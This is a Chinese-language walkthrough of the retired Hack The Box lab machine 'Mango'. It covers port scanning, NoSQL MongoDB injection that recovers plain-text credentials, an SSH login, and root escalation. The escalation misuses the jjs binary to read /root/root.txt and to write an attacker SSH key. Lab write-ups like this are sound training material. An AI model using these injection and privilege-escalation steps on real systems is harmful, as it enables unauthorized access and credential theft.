基础信息
简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透
链接:https://www.hackthebox.eu/home/machines/profile/214
描述:
注:因为是已经退役的靶机所以现在的ip地址与信息卡中的并不一致。
前言
本次演练使用kali系统按照渗透测试的过程进行操作,通过前期的信息收集与普通注入不能获取到有用的信息,通过谷歌诸侯知道,可以利用 Nosql-MongoDB-injection爬取账号与密码,使用ssh远程连接获取user.txt最终通过提权获取root.txt。
一、信息收集
1、靶机ip
ip地址为:10.129.1.219
2、靶机端口与服务
nmap -sV -A -O 10.129.1.219
获取到开放端口与版本信息并且获得了正在使用的域名信息
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
3、网站信息收集
查看80与443端口
发现443端口是一个类似于谷歌的搜索界面通过证书获得一些信息
二、漏洞探测与利用
Nosql-MongoDB-injection
将重点放在80端口,这个端口是一个登录界面,经过尝试通过普通的sql注入无法爬取到有用的信息
通过谷歌发现存在Nosql-MongoDB-injection可以利用脚本进行注入尝试获取账号与密码
链接:https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -op login:login,submit:submit
python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -op login:login,submit:submit
用户:admin 密码:t9KcS3>!0B#2
用户:mango 密码:h3mXK8RhU~f{]f5H
使用获得的账号密码进行登录
无论使用哪一个都会跳转到这个界面
通过ssh进行远程连接 并跳转到admin用户,否则无法查看到admin文件夹下的user.txt
三、提权
获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
使用LinEnum.sh查看是否存在可利用信息
最终根据提示找到了jjs可以利用jjs进行提权
使用GTFOBins 查看可利用脚本
链接:https://gtfobins.github.io/
(1) 通过运行文件读取命令直接获得root.txt
var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }
(2) 通过jjs上传我们自己生成的ssh公钥然后使用我们自己的私钥进行连接获取root权限
ssh-keygen
完善脚本信息
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("./file_to_write");
fw.write("DATA");
fw.close();' | jjs
在获取的shell中执行脚本最后在kali中进行登录获取root权限
来源:freebuf.com 2021-03-06 17:29:03 by: WAFmax
请登录后发表评论
注册